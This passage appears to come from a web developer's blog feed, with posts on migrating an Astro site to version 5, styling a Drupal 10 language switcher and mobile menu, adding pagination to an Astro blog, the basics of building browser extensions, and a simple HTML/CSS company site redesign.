Anyway, I finally got around to migrating the second project in February, and because I'm old(er) now, I can't remember shit any more. Just in case I have to do the migration a third time for whatever reason, it's probably a good idea to write all the gotchas down.

Documentation is great, refer to it

The Astro team has provided a really good migration guide, and that should be your first stop. Keep it open the whole time you're doing the migration. It's good stuff. The part that was most relevant to me was Legacy: v2.0 Content Collections API.

There are step by step instructions on exactly what to do, so follow the 4 steps outlined in the documentation.

Move (and rename) the content config file (content.config.ts). This file (config.ts) no longer lives within the src/content/ folder. This file should now exist at src/content.config.ts.

Edit the collection definition within the content config file. For me, it went from:

import { z, defineCollection } from "astro:content";
import { docsSchema, i18nSchema } from "@astrojs/starlight/schema";

const blogCollection = defineCollection({
  type: "content",
  schema: z.object({
    title: z.string(),
    description: z.string(),
    date: z.date(),
    image: z.string().optional(),
    tags: z.array(z.string()),
  }),
});

export const collections = {
  docs: defineCollection({ schema: docsSchema() }),
  i18n: defineCollection({ type: "data", schema: i18nSchema() }),
  blog: blogCollection,
};

to:

import { z, defineCollection } from "astro:content";
import { glob } from "astro/loaders";
import { docsLoader, i18nLoader } from "@astrojs/starlight/loaders";
import { docsSchema, i18nSchema } from "@astrojs/starlight/schema";

const blogCollection = defineCollection({
  loader: glob({ pattern: "**/[^_]*.{md,mdx}", base: "./src/content/blog" }),
  schema: z.object({
    title: z.string(),
    description: z.string(),
    slug: z.string(),
    date: z.date(),
    image: z.string().optional(),
    tags: z.array(z.string()),
    authors: z.array(z.string()),
    author_urls: z.array(z.string()),
  }),
});

export const collections = {
  docs: defineCollection({ loader: docsLoader(), schema: docsSchema() }),
  i18n: defineCollection({ loader: i18nLoader(), schema: i18nSchema() }),
  blog: blogCollection,
};

Change references from slug to id and switch to the new render() function (this combines step 3 and 4 from the documentation). This one I had some trouble with. Not instructions per se. That was relatively straightforward. The file went from:
```
---
import { getCollection } from 'astro:content';

export async function getStaticPaths() {
  const blogEntries = await getCollection('blog');
  return blogEntries.map(entry => ({
    params: { slug: entry.slug },
    props: { entry },
  }));
}
const { entry } = Astro.props;
const { Content } = await entry.render();
---
<Content />
```
to:
```
---
import { getCollection, render } from 'astro:content';
import BlogLayout from '../../layouts/BlogLayout.astro';

export async function getStaticPaths() {
  const blogEntries = await getCollection('blog');
  return blogEntries.map(entry => ({
    params: { id: entry.id },
    props: { entry },
  }));
}

const { entry } = Astro.props;
const { Content } = await render(entry);
---
<BlogLayout frontmatter={entry.data}>
  <Content />
</BlogLayout>
```
The total amount of changes seem trivial when I write it down like that but it took me forever to figure out why the routes for the individual blog posts just refused to render and kept 404-ing.

Things finally started to work when I changed the file name from [...slug].astro to [...id].astro. Do I know why that works? Not really, except that it matches the API change from slug to id. Someone smarter than me and more experienced in Astro please tell me why this fixes the problem.

In addition, one of the breaking changes outlined in the upgrade docs was the bit about the layout field no longer being supported in Markdown collection entries.

This one was mildly annoying to fix, but it was merely a matter of importing the layout file at the dynamic route page template instead of the individual blog post. The BlogLayout had relied on the frontmatter directly from the markdown or MDX post, which now had to be passed in via frontmatter={entry.data}.

I also had issues rendering blog posts that were written in MDX instead of markdown. The solution for me was to install the latest @astrojs/mdx and import it in my astro.config.js file. This is possibly related to how Astro 5 handles JSX and MDX rendering.

Wrapping up

Again, I'm just trying to document gotchas that I'm most likely going to forget otherwise and then get that annoying feeling of deja vu that I fixed it before. But then again, Astro moves so fast that the API might change again the next time I have to do this. Oh well, just the price of progress, I suppose. 🤷

The case for “old school” CSS

Tue, 25 Mar 2025 01:14:50 GMT

Do people still write CSS in CSS files any more? I honestly don't keep up with the trends as much as I did back when I started by career. Partly because I've started to feel that the web development community online has become a lot more “this(my) way is the best way” than when I started out at the tail-end of the HTML tables era and the start of the floats era.

Love this slide from my The State of CSS talk at Web Directions Code back in 2024

Regardless, personal opinions aside, I do have projects that involve CSS in CSS files. It's a Drupal 10 site, so the custom theme uses CSS. Who still uses Drupal in 2025, you might ask? Apparently, Drupal is used by 1.2% of all the websites whose content management system we know. This is 0.9% of all websites.. As of time of writing, there are estimated to be 192 million actively maintained websites, so it's still a good number.

So what's the use case?

The use case is i18n. If you're new to Drupal, or someone like me who returned from a long hiatus since Drupal 7, the Drupal documentation SEO is a little messed up if you just Google directly. Largely because Drupal 7 had such a long, long shelf life.

Anyway, the up-to-date Drupal i18n documentation is at Chapter 10. Making Your Site Multilingual and Multilingual guide. Go there if you're trying implement i18n on your own Drupal 10 site.

The specific problem I was trying to solve was related to the language switcher. Once you turn on multilingual capabilities on your Drupal site, there is a language switcher block that you can place where you deem fit.

I suppose, depending on the Drupal theme you are using, there may or may not be some styling associated with the block. But as my site was a fully custom implementation, my theme was built off Starterkit theme.

Without doing anything to the default implementation, once you turn on the Language Switcher block in your Header region on a vanilla theme, you will get an unordered list of all the languages supported by your site.

Those language labels can be edited via the admin interface. You have to go to admin/config/regional/language and edit each of the languages listed there. My use case only involved 2 languages, so I decided to design the language switcher to appear like additional link options on the header, with the labels being the 2-letter language code.

Templating with Twig

You can't old-school CSS without CSS classes. And in the land of Drupal theming, that menas it's Twig templating time. Templates in Drupal make use of naming conventions to let you override them.

So if you are starting from scratch with a starterkit base theme, your out-of-the-box markup is going to be wrapped in layers of <div>s, which I personally do not like. My first thing is to override the page.html.twig and region.html.twig templates with ones that provide some useful CSS class names.

# page.html.twig
{% if logged_in %}
  {{ page.admin }}
  {% endif %}

<header class="site-header" role="banner">
  {{ page.header }}
</header>

<main role="main">
  <a id="main-content" tabindex="-1"></a>
  <h1 class="visually-hidden">{{ current_page_title }}</h1>
  {{ page.content }}
</main>

# region.html.twig
{%
  set classes = [
    'region',
    'region-' ~ region|clean_class,
  ]
%}
{% if content %}
  <div{{ attributes.addClass(classes) }}>
    {{ content }}
  </div>
{% endif %}

The out-of-the-box menu list also has zero CSS classes. Nah, gotta add some in there for the menu as well.

# menu--main.html.twig
{% import _self as menus %}

{{ menus.menu_links(items, attributes, 0) }}

{% macro menu_links(items, attributes, menu_level) %}
  {% import _self as menus %}
  {% if items %}
    {% if menu_level == 0 %}
      <ul{{ attributes}} class="site-nav__links menu--level-{{ menu_level + 1 }}" id="siteNavMenu">
    {% else %}
      <ul class="menu--level-{{ menu_level + 1 }}">
    {% endif %}
    {% for item in items %}
      {%
        set classes = [
          'menu-item',
          item.is_expanded ? 'has-submenu',
          'menu-item--level-' ~ (menu_level + 1)
        ]
      %}
      <li{{ item.attributes.addClass(classes) }}>
        {{ link(item.title, item.url) }}
        {% if item.below %}
          {{ menus.menu_links(item.below, attributes, menu_level + 1) }}
        {% endif %}
      </li>
    {% endfor %}
    </ul>
  {% endif %}
{% endmacro %}

And finally, I wanted to sprinkle on some extra stuff onto the navigation block, like a site logo and mobile menu icon so that meant overriding the main menu block.

# block--blank-main-menu.html.twig
{% set heading_id = attributes.id ~ '-menu'|clean_id %}

<nav class="site-nav" role="navigation" aria-labelledby="{{ heading_id }}"{{ attributes|without('role', 'aria-labelledby') }}>
  {% if not configuration.label_display %}
    {% set title_attributes = title_attributes.addClass('visually-hidden') %}
  {% endif %}
  {{ title_prefix }}
  <h2{{ title_attributes.setAttribute('id', heading_id) }}>{{ configuration.label }}</h2>
  {{ title_suffix }}

  <a href="{{ path('<front>') }}" rel="home" class="site-logo">
    <img src="{{ site_logo }}" alt="{{ 'Home'|t }}" fetchpriority="high" />
  </a>

  <div class="site-links-wrapper" data-nav-wrapper id="siteNavLinks">
    {{ content }}
  </div>

  <button
    type="button"
    class="site-nav__toggle"
    aria-controls="siteNavMenu"
    aria-label="Toggle Menu"
    title="Toggle Menu"
    id="siteNavToggle"
  >
    <div id="menuIcon" class="menu-icon">
      <span></span>
      <span></span>
      <span></span>
      <span></span>
    </div>
  </button>
</nav>

Always remember to drush cr after messing around with templates.

CSS time

After that it's really all CSS. Mostly around using flexbox. But let's see if going through it (almost) line by line makes sense to people who no longer write “traditional” CSS, whatever that means.

I'd like my header to remain sticky at the top of the page even as people scroll down. The trick here is to remember to set the top value, otherwise it's not going to stick.

.site-header {
  padding: 0 var(--space-m);
  position: sticky;
  top: 0;
  z-index: 2;
  box-shadow: var(--box-shadow);
  background-color: white;
}

I have a <nav> element with the CSS class .site-nav which wraps around the site logo, list of navigation links and mobile menu toggle button. Let's make it a flexbox and make everything inside align center, plus some basic hover styles.

.site-nav {
  display: flex;
  align-items: center;
}

.site-logo {
  flex: none;
}

.site-nav__links {
  list-style: none;
  padding-inline-start: 0;
}

.site-nav__links a {
  display: block;
  color: currentColor;
  transition: text-decoration 200ms ease-in-out;
  white-space: nowrap;
  text-underline-offset: 8px;
  text-decoration: underline 1.5px transparent;
  padding: var(--space-s) var(--space-2xs);
}

.site-nav__links a:hover {
  background-color: ghostwhite;
}

.site-nav__links .is-active {
  text-decoration-color: currentColor;
}

As for the language switcher, it's an unordered list by default, but we can and should spruce it up a little bit.

.language-switcher-language-url {
  flex: none;
}

.language-switcher-language-url .links {
  display: flex;
  list-style: none;
  padding: 0;
  margin-inline-start: var(--space-2xs);
}

.language-switcher-language-url .links li:first-child::after {
  display: inline-flex;
  content: "|";
}

.language-switcher-language-url .links a {
  padding: var(--space-s) var(--space-2xs);
}

At this point, your header still looks very wonky. Don't worry, it's all part of the process.

When there is enough space in the viewport, for this example, when there's at least 700px worth of space, everyone can all hang out on the same line.

@media screen and (min-width: 700px) {
  .region-header {
    display: flex;
    align-items: center;
  }

  .site-links-wrapper {
    flex: 1;
  }

  .site-nav {
    flex: 1;
  }

  .site-nav__links {
    display: flex;
    justify-content: center;
  }

  .site-nav__toggle {
    display: none;
  }
}

These layout styles essentially make sure the list of links take up the all the space left over after the site logo and the language switcher are accounted

Without modifying the markup further, we can sprinkle on some JavaScript to help create a mobile menu. But first, the styling.

@media screen and (max-width: 699px) {
  .site-links-wrapper {
    position: absolute;
    background-color: white;
    top: var(--site-header-height);
    right: 0;
    transition: transform 300ms ease-in-out;
    border-block-start: 1px solid lightgrey;
  }

  .site-links-wrapper.offscreen {
    transform: translateX(100%);
  }

  .site-links-wrapper a {
    padding-inline: var(--space-s);
  }

  .language-switcher-language-url {
    position: absolute;
    top: 25px;
    right: calc(var(--space-m) + var(--space-xs) + 24px);
  }
}

This absolutely positions the list of links to just under the site header and stuck to the right of the viewport. And if you are wondering why the language switcher is also absolutely positioned, this is because of the way the markup is structured.

The language switcher, as explained above, is a Drupal system block. Could we rewrite the main menu template to incorporate the language switcher? Probably, but between doing that and using CSS, I chose the CSS route.

So the approach was to position the language switcher next to the mobile menu toggle. A lesser of two evils approach methinks.

The styling for the mobile menu toggle goes something like this, which is essentially just 3 black lines, which are supposed to transform into a cross when the open class is added to the icon.

.site-nav__toggle {
  border: 0;
  background: initial;
  padding: var(--space-xs) 0;
  color: currentColor;
  margin-inline-start: auto;
}

.menu-icon {
  position: relative;
  transform: rotate(0deg);
  transition: 0.5s ease-in-out;
  cursor: pointer;
  height: 1em;
  width: 1.5em;
}

.menu-icon span {
  display: block;
  position: absolute;
  height: 4px;
  width: 100%;
  background: currentColor;
  border-radius: 4px;
  opacity: 1;
  left: 0;
  transform: rotate(0deg);
  transition: 0.25s ease-in-out;
}

.menu-icon span:nth-child(1) {
  top: 0;
}

.menu-icon span:nth-child(2),
.menu-icon span:nth-child(3) {
  top: 50%;
}

.menu-icon span:nth-child(4) {
  top: 100%;
}

.menu-icon.open span:nth-child(1),
.menu-icon.open span:nth-child(4) {
  top: 50%;
  width: 0%;
  left: 50%;
}

.menu-icon.open span:nth-child(2) {
  transform: rotate(45deg);
}

.menu-icon.open span:nth-child(3) {
  transform: rotate(-45deg);
}

A sprinkling of JavaScript

The actual opening and closing of the mobile menu needs the help of some JavaScript.

// Site navigation CSS classes
const siteLinksWrapper = document.querySelector("[data-nav-wrapper]");
const wideNavMinWidth = window.matchMedia("(min-width: 700px)");
handleNavDisplayStyles(wideNavMinWidth);
wideNavMinWidth.addEventListener("change", handleNavDisplayStyles);

const siteNavToggle = document.getElementById("siteNavToggle");
const siteNavLinks = document.getElementById("siteNavLinks");
const menuIcon = document.getElementById("menuIcon");

if (document.contains(siteNavToggle)) {
  siteNavToggle.addEventListener("click", handleMobileNavToggle, false);
}

function handleMobileNavToggle(event) {
  siteLinksWrapper.classList.toggle("offscreen");
  if (siteLinksWrapper.getAttribute("class").includes("offscreen")) {
    menuIcon.classList.remove("open");
  } else {
    menuIcon.classList.add("open");
  }
}

function handleNavDisplayStyles(event) {
  if (event.matches) {
    siteLinksWrapper.classList.remove("offscreen");
  } else {
    if (siteLinksWrapper) {
      flashPrevention(siteLinksWrapper);
    }
    siteLinksWrapper.classList.add("offscreen");
  }
}

function flashPrevention(element) {
  element.setAttribute("style", "display:none");
  setTimeout(() => {
    element.removeAttribute("style");
  }, 10);
}

After all that, you end up with something like this:

Simple responsive site navigation

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Wrapping up

This was honestly really fun to write up, especially the part where I built out a fresh Drupal install to make sure all the theming code is not polluted with other components on my production website. If anyone still does Drupal, or still writes “old-school” CSS, let me know. I feel a sense of remote kinship with all of you. 😬

Credits: OG:image from CraftPix.net 2D Game Assets

Implementing pagination on an Astro blog

Sun, 23 Mar 2025 21:14:50 GMT

Even though I built the blog for our tech team to share their insights and knowledge with the rest of the interwebs, I wasn't necessarily the one writing the actual blogs. Now that I think about it, I do not think I've published a single article on the blog. Haha.

Realistically, it was pretty much a build it and move on with life situation, where there were not many feature requests, it was mainly dependency updates and very minor CSS tweaks. So it did take me a while to realise that, I hadn't actually built the pagination for the blog.

Back when I built the whole thing in March 2024, the only blog posts we had were 3 that were ported over from a Medium account we'd lost access to. Anyway, with 3 blog posts, and no commitment from anybody on the team that we would publish blog posts regularly, I figured we would get to pagination later, much later.

Well, by the time we had to upgrade Astro from 4 to 5 (there will be a blog post on this), I saw that we had 13 blog posts and yikes, the first blog post was gone from the listing. Yikes indeed.

See how other people do stuff

In my feeble attempt to be future-proof, I did consult the Googles on how other people did it, and I'm pretty sure Creating A Pagination Component With Astro by Ted Krueger was the article I had referred to.

Most other results were for pagination components other people had built and packaged into something you could just import. I'm not against importing and using components in general, but come on, it's a pagination. I'd rather use my self-imposed import quota on something grander, if you know what I mean.

So the implementation I ended up with had the dynamic [...page].astro component for when you paginate the entire listing and end up with multiple blog listing pages but no actual pagination component.

---
import type { Page } from "astro";
import BaseLayout from '../../layouts/BaseLayout.astro';
import { getCollection } from 'astro:content';

type Props = {
  page: Page<any>;
};

export async function getStaticPaths({ paginate }: any) {
  const blogEntries = (await getCollection("blog")).sort((a, b) => b.data.date.getTime() - a.data.date.getTime());
  return paginate(blogEntries, { pageSize: 12 });
}

const { page } = Astro.props;
---
<BaseLayout title="Engineering blog">
  <main>
    <div class="content-wrapper">
      <ol class="breadcrumbs" itemscope itemtype="https://schema.org/BreadcrumbList">
        <li itemprop="itemListElement" itemscope
            itemtype="https://schema.org/ListItem">
          <a itemprop="item" href="/developers">
          <span itemprop="name">Developers Portal</span></a>
          <meta itemprop="position" content="1" />
        </li>
      </ol>
      <h1>Engineering Blog</h1>
      <ol class="postlist">
        {((page as any).data || []).map((blogPostEntry: any) => (
          <li class="postlist-item">
            <a href={`/developers/blog/${blogPostEntry.slug}`} class="postlist-link heading--6">{blogPostEntry.data.title}</a>
            <time class="postlist-date" datetime={blogPostEntry.data.date.toISOString()}>
              {blogPostEntry.data.date.toDateString()}
            </time>
          </li>
        ))}
      </ol>
    </div>
  </main>
</PageLayout>

<style>
/* all my blog listing styling */
</style>

And for the individual blog posts, the dynamic page for those was [...slug].astro.

---
import { getCollection } from 'astro:content';

export async function getStaticPaths() {
  const blogEntries = await getCollection('blog');
  return blogEntries.map(entry => ({
    params: { slug: entry.slug }, props: { entry },
  }));
}

const { entry } = Astro.props;
const { Content } = await entry.render();
---
<Content />

I'm just missing the Pagination component that Ted built out in his article. What's the reason for this blog post if the implementation simply follows what Ted has already explained in his article?

Well, my project's implementation has a URL suffix problem, i.e. the entire Astro site is not served on the root domain, but instead on <ROOT_DOMAIN>/developers. Oh, that /developers suffix. 😮‍💨

So I had diverged from how Ted implemented the parameters for this pagination component.

There are 5 "types" of links on a pagination component, or at least for this particular UI pattern I was trying to follow.

Go to first page
Go to previous page
Go to X page number
Go to next page
Go to last page

Astro has built-in Pagination support, and with use of the paginate() function, each page gets page-related data via a page prop.

The page prop provided all the parameters I need to fulfil the above 5 types of links on the Pagination component I was trying to build. So on the [...page].astro listing component, the parameters where passed into the Pagination component as follows:

<Pagination
  length="{page.lastPage}" /** number of last page */
  currentPage="{page.currentPage}" /** the current page number, starting from 1 */
  firstUrl="{page.url.first}" /** url of the first page (if the current page is not the first page) */
  prevUrl="{page.url.prev}" /** url of the previous page (if there is one) */
  nextUrl="{page.url.next}" /** url of the next page (if there is one) */
  lastUrl="{page.url.last}" /** url of the last page (if the current page in not the last page) */
/>

Now, because the url data returns undefined when it doesn't exist, we can build logic to make sure there are no broken links in the pagination. The "edge" cases are when you hit the first page and when you hit the last page.

So the checks can be done like so:

{
  firstUrl ? (
    <a href={`/developers${firstUrl}`} class="pagination__link">
      &#171;
    </a>
  ) : (
    <span class="pagination__link disabled">&#171;</span>
  );
}

And so on and so forth for the rest of the cases. Putting everything together, the pagination component ends up looking like this:

---
const { length, currentPage, firstUrl, prevUrl, nextUrl, lastUrl } = Astro.props;
const paginationList = Array.from({length}, (_, i) => i + 1);
---
<nav aria-label="Blog pages" class="pagination">
  {firstUrl ? (
    <a href={`${firstUrl}`} class="pagination__link">&#171;</a>
  ) : (
  <span class="pagination__link disabled">&#171;</span>
  )}

  {prevUrl ? (
    <a href={`${prevUrl}`} class="pagination__link">&#8249;</a>
  ) : (
    <span class="pagination__link disabled">&#8249;</span>
  )}

  {paginationList.map((num) => (
    <a
      href={`/developers/blog${num == 1 ? "" : "/" + num}`}
      class={`pagination__link ${currentPage == num ? "disabled active" : ""}`}
    >
      {num}
    </a>
  ))}

  {!nextUrl ? (
    <span class="pagination__link disabled">&#8250;</span>
  ) : (
    <a href={`${nextUrl}`} class="pagination__link">&#8250;</a>
  )}

  {lastUrl ? (
    <a href={`${lastUrl}`} class="pagination__link">&#187;</a>
  ) : (
    <span class="pagination__link disabled">&#187;</span>
  )}
</nav>

<style>
/* all my pagination styling */
</style>

Wrapping up

Did I do all this by myself? Of course not. I had the help of the most patient human rubber duck / TypeScript therapist / overall programming whiz that I've had the privilege of being friends with, See Yishu.

Astro uses TypeScript by default, and 80% of the time, we're fine. We have a cordial relationship, TypeScript and I. But then, there are times when TypeScript yells at me, and I just don't know why.

I have a bad analogy using terrible stereotype but it's like when the girlfriend gets mad at her partner and when the partner asks, "Why are you mad at me?", the girlfriend responds "You should know. 😤"

Do you know who I call when TypeScript yells at me? Yes, I call Yishu. Because she's the best TypeScript therapist I know.

Anyway, times are chaotic. Take care of yourselves, my friends. 🧘

Learning web extensions

Sat, 08 Feb 2025 21:14:50 GMT

I blinked and the first month of 2025 went by. NGL, 2024 was…challenging. So forgive me for choosing to just shut down during the end of last year. But I did do some things that I thought were worth sharing and I have deferred that until now.

It's the first day of the Lunar New Year and I'm sitting in my childhood bedroom at mom's house typing this up on top of her sewing machine. ¯\_(ツ)_/¯ Update: I did not finish this until 2 weeks later, don't judge.

Why web extensions?

There was a point in time where I did a lot of conference speaking, and that died down quite a bit during the pandemic, but occasionally I will still talk to people about building stuff on the web. So I gave a talk titled "Expanding the browser experience with web extensions" at InternationalJS Singapore.

My interest in web extensions stemmed from the fact that our team at the Interledger Foundation has been working toward getting the Web Monetization standard implemented in browsers.

But most of us familiar with web standards know that realistically, getting a new feature into browsers is comparable to watching your toddler finally pack up and leave for college.

No I'm just joking.

Kinda.

The next best thing we could do was to build a web extension that would implement all the behaviours specified in the standard so we could get feedback on what we were proposing, allowing us to make adjustments to how we envisioned how the APIs would work and hopefully enhance the overall experience of web monetization.

What is a web extension?

This post will NOT be talking about what the boys did to build the web monetization because that has now become a beast of a piece of software at this point. You can read Sid Vishnoi's blog post on End-to-end testing the Web Monetization browser extension on our engineering blog to get an idea of the scope of the extension.

No, we are going to the basics of basics of web extensions. Because we have to learn to flip over and sit up before we can even stand.

The Web Extensions community group on W3C was launched in 2021, initiated by Apple, Google, Microsoft and Mozilla with the aim of aligning on a common vision for browser extensions and to work towards future standardisation.

The heart of an extension is the manifest.json file, which is the only mandatory file that must exist in any web extension. The manifest file contains metadata about the extension, as well as pointers to other files that make up the extension.

These other files include background scripts, sidebars, popups and options pages, extension pages, content scripts and web accessible resources.

This manifest.json file has a specific syntax, and as of time of writing, the latest syntax is supposed to be v3. If you've never followed the development of web extensions over time, you might not be aware that there has been quite some controversy around v3.

I won't go into all the detail but to summarise the key criticisms: v3 has reduced web extensions from being treated like a first-class application with their own persistent execution environment to being treated like accessories with limited privileges and reactive execution capabilities. This is largely a consequence of making service workers mandatory and removing the “blocking webRequest” mechanism.

Feel free to ask the Googles for more information if you're interested.

The manifest.json

Here's an example of an extension that does nothing but showcases the bare requirements for the browser to recognise an extension exists:

{
  "manifest_version": 3,
  "name": "AE1",
  "version": "1.0",

  "description": "This extension doesn't actually do anything",
  "icons": {
    "32": "icons/icon32.png",
    "48": "icons/icon48.png"
  },

  "action": {
    "default_popup": "nothing.html"
  }
}

Full code here: https://github.com/huijing/slides/tree/gh-pages/109-ijs-2024/extensions/AE1

The manifest.json will have the 3 mandatory keys, of manifest_version, name and version. Included in the example is also the description, icons and action keys.

Although description and icons are optional, they are required if you want to publish your extension to the Chrome Web Store. They also do enhance the user experience, because they give your extension a pretty icon and a proper description.

action determines how the extension looks like in the browser toolbar, and what clicking on it does. popup can contain any HTML content and the window will be automatically sized to fit the content.

<html>
  <body>
    <h1>Nothing</h1>
  </body>
</html>

To add some style and interactivity to the extension, CSS and JavaScript can be included by link or style and script elements.

<html>
  <body>
    <h1>Nothing</h1>
    <button>Something</button>
  </body>
  <style>
    body {
      text-align: center;
    }
  </style>
  <script src="nothing.js"></script>
</html>

document.querySelector("button").addEventListener("click", () => {
  document.querySelector("h1").style.color = "tomato";
});

The environment in which the popup operates is isolated from the web page content loaded by the browser. In this example, nothing.js targets the extremely generic tag elements of button and h1, but the above code only affects the elements in the pop-up and not anything on the web page.

If you're a frontend developer like me, you might prefer to have some visual feedback that your code has done something.

To load the extension in Firefox, you'll have to load it up as a temporary add-on. The option to reload the extension after you made changes to the source is also available.

For Chrome, you'll have to enable Developer Mode before you can load the unpacked extension. The same source works in both browsers.

Content scripts

When we want the extension to actually do something to the content on a web page, we will have use content scripts, which run in the context of the browser's loaded web page. This is the only way we can access content on the page from the extension.

There are 3 ways to load an extension's content script into the web page, namely via static declaration, dynamic declaration or programmatically. These different methods allow for the widest range of use cases, whether you want the extension to modify the default experience out-the-box or based on specific triggers.

Content scripts are isolated, in the sense that it can make changes to its own JavaScript environment without conflicting with the page or other extensions' content scripts. Even though content scripts can access and change the DOM, they only see the "clean" version of the DOM that has not been modified by any JavaScript.

Firefox and Chrome handle this isolation behaviour differently. In Firefox, the concept is called Xray vision, where content scripts may encounter JavaScript objects from its own global scope or Xray-wrapped versions from the web page.

While for Chrome, there exists the concept of 3 kinds of worlds, a main world, an isolated world and a worker world. Each world has its own context, its own global variable scope and prototype chains.

Content scripts have access to a specific and limited set of extension APIs directly, but for other APIs, a form of message exchange is required, which we will briefly touch upon in the next example.

This extension consists of a button that will take over the entire web page and cover it with some pixel art sourced from the interwebs. Full code here: https://github.com/huijing/slides/tree/gh-pages/109-ijs-2024/extensions/AE2

{
  "manifest_version": 3,
  "name": "AE2",
  "version": "1.0",
  "description": "Activate pixel art",
  "icons": {
    "32": "icons/icon32.png",
    "48": "icons/icon48.png"
  },
  "permissions": ["activeTab", "scripting"],
  "action": {
    "default_popup": "pixel.html"
  },
  "web_accessible_resources": [
    {
      "resources": [
        "images/pixel-adventure-time.png",
        "images/pixel-cat.jpg",
        "images/pixel-city.png",
        "images/pixel-zen-garden.png"
      ],
      "extension_ids": ["*"],
      "matches": ["*://*/*"]
    }
  ]
}

For the extension to recognise and load images, they need to be declared in the manifest.json file with the web_accessible_resources key. The extension also needs the activeTab permission, which grants the extension extra privileges for the active tab only when an user interaction occurs and the scripting permission, which is required to use methods from the scripting API called in the content script.

let id;
browser.tabs.query({ active: true, currentWindow: true }, (tabs) => {
  id = tabs[0].id;
  browser.scripting.executeScript({
    target: { tabId: tabs[0].id },
    files: ["content.js"],
  });
  browser.scripting.insertCSS({
    target: { tabId: tabs[0].id },
    files: ["content.css"],
  });
});

document.getElementById("pixelate").addEventListener("click", () => {
  browser.tabs.sendMessage(id, { message: "pixelate" });
});

document.getElementById("reset").addEventListener("click", () => {
  browser.tabs.sendMessage(id, { message: "reset" });
});

browser.tabs.query() is used to obtain information about the tab we want to target, specifically, the tab ID, because the scripting method requires a tab ID to be passed into it, which makes sense since we have to specify the target we want to inject our script into, right?

Same goes for injecting CSS. Was it possible to style the stuff being injected via JavaScript? Of course, it is. Should we do it that way? It's really up to you. I personally like my styles in CSS files, that's all.

So what's this sendMessage() method then? Well, because content scripts run in the context of the web page and not the extension itself, this is the way for the content script to communicate with the extension. The extension and the content scripts will listen for each other's messages and respond on the same channel.

To access images supplied with the extension, the runtime.getURL() method is used, which converts the relative path of the image into a fully-qualified URL that the browser can render properly. And finally, the runtime.onMessage() event is used to listen for messages.

Background scripts

Another type of script that is seen in web extensions are background scripts. They are meant to monitor events in the browser and react to them accordingly. For example, if we wanted to implement keyboard shortcuts for our extension, we could make use of a background script to listen for specific commands and trigger some action accordingly.

The next example will add some keyboard shortcuts to the extension by making use of a background script. Full code here: https://github.com/huijing/slides/tree/gh-pages/109-ijs-2024/extensions/AE3.

There are some additions that need to be made to the manifest.json file to get things to work.

{
  "background": {
    "service_worker": "background.js", // v3 syntax
    "scripts": ["background.js"] // v2 syntax
  },
  "commands": {
    "_execute_action": {
      "suggested_key": {
        "default": "Ctrl+Shift+Y"
      }
    },
    "pixelate": {
      "suggested_key": {
        "default": "Alt+A"
      },
      "description": "Send a 'pixelate' event to the extension"
    },
    "reset": {
      "suggested_key": {
        "default": "Ctrl+Shift+E"
      },
      "description": "Send a 'reset' event to the extension"
    }
  }
}

The Commands API lets us define commands and bind them to specific key combinations. These commands must first be declared as properties in the manifest.json file. We then listen for an onCommand event to be fired using the background script and run whatever we want to run when the correct key combination is pressed.

There are 4 special shortcuts with default actions for which the onCommand event doesn't fire, and _execute_action is one of them. This shortcut acts as if the user clicked on the extension icon in the toolbar.

In the background.js file, we make use of the onCommand.addListener to bind a handler to each of the commands listed in the manifest. As mentioned previously, the _execute_action command doesn't trigger an event, so we don't need a handler for that.

Wrapping up

This covers all the basic information required to get started with web extension development. The extension can be as simple as changing the colour of text on the page or as complicated as a full-fledged application (yes, you can use React to build your extension if you so choose).

I suppose if you're wary of dodgy extension store downloads, you could always build your own extension to do exactly what you want it to do, so why not?

Chill day just HTML-ing and CSS-ing

Fri, 01 Nov 2024 12:38:36 GMT

I have not had as many chances to build websites lately because for a little over the past 100 days, I've been in a non-developer role at work. It's not really my cup of tea, but I committed to filling the role and therefore I must give my best.

However, I really would very much prefer to be building websites. And so, when my friend, Kathy Giori, reached out about helping out with her company website's redesign implementation, you cannot imagine the glee I felt. And how thankful I was that she let me run wild in her GitHub repo. I didn't actually run wild, I branched out and made a PR, like responsible developers do. 😤

Today is my off-day, which means I get to sit in the same spot as I do when I'm at work but do something completely non-work related. Some people watch Netflix, some people play games, I indulge in my love of writing HTML and CSS.

Update: It's live! Check it out at https://tricyrcle.com/

Not a complicated web page

Don't get me wrong, I do like the challenge of figuring out how to build all those special effects and interactions and things flying around the page, it's genuinely fun to do that. But I also enjoy the simple, straight-forward web page.

This is a mostly single column layout, with some components within sections having side by side content. Such a design also performs very well on a narrow viewport. In the grand scheme of things, I probably spent more time trying to figure out how to get my Sequoia 15.0.1 macOS to run pip correctly so I could subset fonts than I did building this page.

Layered design with pseudo-elements

The most interesting bit of the design was this background half peaking out behind a piece of content that already had a background colour. I recognise this is a horrible description, so please refer to the image below. And if you are unable to see the image, again, I sincerely apologise for my lack of explanation skills.

Although my first thought was box-shadow but realistically, there is no way to rotate the shadow while leaving the original element untouched. If I'm wrong about this, please let me know. So I reach for my other trusty technique, the pseudo-element.

And because my brain is still time-zoned out from a month of travel, I ended up having to refer to my own blog post from 2 years ago on implementing shadow-style designs (CSS card shadow effects) to figure out how to get the pseudo-element be the same height as the parent element.

position. The answer is position. 🤦

.info-privacy::before {
  display: block;
  content: "";
  position: absolute;
  top: 0;
  left: 0;
  height: 100%;
  width: 100%;
  background-color: var(--brand-cyan);
  transform: rotate(-2deg);
  border-radius: var(--border-radius);
  z-index: -1;
}

I also had another brief moment of “eh, why is this happening” when I saw that the pseudo-element was just not in the right position. But that one came to me after a couple of minutes, so it wasn't that bad. Remember to tell the absolutely positioned element what its offset needs to be. That's all.

You can google math

If you look at the screenshot above, you'll also see there are a few steps cards that are rotated in different angles. There are actually 4 of them but only 3 different colours so the fourth one is blue again. And I couldn't figure out the n formula by myself. Thankfully, you can google math on the internet and I managed to get the answer: nth-of-type(3n - 2).

.affordable-privacy li:nth-of-type(3n - 2) {
  background-color: var(--brand-cyan);
}

.affordable-privacy li:nth-of-type(2) {
  background-color: var(--brand-chartreuse);
}

.affordable-privacy li:nth-of-type(3) {
  background-color: var(--brand-orange);
}

Did I need to do math? Not really, I could have just gone with li:first-of-type and li:nth-of-type(4) as 2 separate selectors but ¯\_(ツ)_/¯

Download CantinaVPN

So the whole reason why I was enjoying afternoon building this web page is because Tricrycle Corporation, which is Kathy's project, now has proper branding, with a brand guidelines document and all that good stuff.

